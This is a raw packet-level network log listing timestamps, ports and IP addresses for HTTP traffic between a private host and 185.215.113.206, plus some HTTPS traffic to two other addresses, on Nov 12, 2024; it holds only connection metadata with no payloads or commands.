Nov 12, 2024 08:30:35.011749029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.011749029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.011770964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012032032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012043953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012058020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012093067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012093067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012106895 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012228966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012239933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012253046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012312889 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012312889 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012469053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012480974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012520075 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012520075 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012626886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012640953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012684107 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012684107 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.012836933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012854099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012865067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012871981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012877941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012882948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.012897968 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.013093948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.013354063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013365984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013376951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013389111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013401031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013412952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013420105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.013420105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.013426065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013457060 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.013489008 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.013870955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013883114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013901949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013914108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013921976 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.013926029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013937950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013938904 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.013955116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.013969898 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.013997078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.014007092 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.014447927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.014458895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.014517069 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.014872074 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.014889956 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.014903069 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.014961958 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.014986038 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.015026093 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.024060965 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.024076939 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.024185896 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.024200916 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.024255991 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.092628956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.092710018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.092715979 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.092720032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.092766047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.092912912 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.092967033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128099918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128150940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128164053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128174067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128207922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128249884 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128367901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128381014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128395081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128408909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128420115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128452063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128452063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128638029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128731966 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128741026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128753901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128765106 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128777027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128791094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128803015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.128809929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128839016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.128853083 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.129230976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129242897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129298925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129314899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129322052 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.129363060 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.129363060 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.129501104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129513979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129525900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129538059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129550934 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129563093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.129584074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.129584074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.129612923 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130039930 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130052090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130064964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130078077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130091906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130093098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130105019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130116940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130130053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130142927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130156040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130156040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130193949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130203009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130726099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130738974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130757093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130768061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130788088 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130788088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130803108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130816936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130824089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130830050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130840063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130842924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.130891085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.130891085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.131449938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.131463051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.131474018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.131484985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.131498098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.131508112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.131539106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.131539106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.131539106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.131836891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.131850004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.131911993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.133861065 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.133877993 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.133948088 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.133968115 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.134010077 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.142841101 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.142860889 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.142899990 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.142910957 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.142939091 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.142959118 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.144315004 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.144330025 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.144381046 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.144386053 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.144453049 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.209580898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.209635019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.209660053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.209671974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.209714890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.209731102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.209747076 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.209798098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.209804058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.209834099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.209868908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.209870100 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245052099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245099068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245105982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245110035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245140076 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245173931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245318890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245330095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245338917 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245352983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245385885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245385885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245397091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245608091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245670080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245670080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245682001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245692015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245702982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.245722055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245722055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.245878935 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.246012926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246025085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246036053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246047974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246061087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246088028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.246088028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.246155977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.246401072 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246417999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246428013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246440887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246454954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246457100 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.246474028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.246501923 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.246777058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246908903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.246929884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246942043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246953011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246964931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246978045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.246989012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247001886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247003078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247003078 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247033119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247033119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247488022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247498989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247510910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247530937 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247543097 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247701883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247714043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247725964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247742891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247754097 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247764111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247772932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247776031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247787952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247798920 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247798920 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247800112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247812986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247823954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247824907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.247833967 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247872114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.247899055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.248558044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.248569965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.248581886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.248596907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.248609066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.248611927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.248621941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.248636007 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.248648882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.248672962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.252985001 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.253002882 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.253040075 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.253057957 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.253070116 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.253089905 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.261706114 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.261719942 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.261759043 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.261768103 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.261838913 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.262733936 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.262748003 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.262790918 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.262795925 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.262813091 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.262828112 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.295269012 CET	443	49848	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.295806885 CET	49848	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.295825958 CET	443	49848	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.296272993 CET	49848	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.296278954 CET	443	49848	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.326652050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.326670885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.326683044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.326729059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.326754093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.326766968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.326816082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.326827049 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.326863050 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.326889038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.326901913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.326951981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362065077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362088919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362098932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362159014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362170935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362180948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362180948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362183094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362191916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362224102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362308979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362354040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362413883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362425089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362453938 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362462997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362483978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362495899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362504959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362525940 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362544060 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362690926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362709045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362724066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362732887 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362747908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362763882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362822056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362865925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362909079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362921000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362931967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362941980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.362946987 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362962008 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.362987041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.363189936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363202095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363210917 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363220930 CET	80	49809	185.215.113.206	192.168.2.5
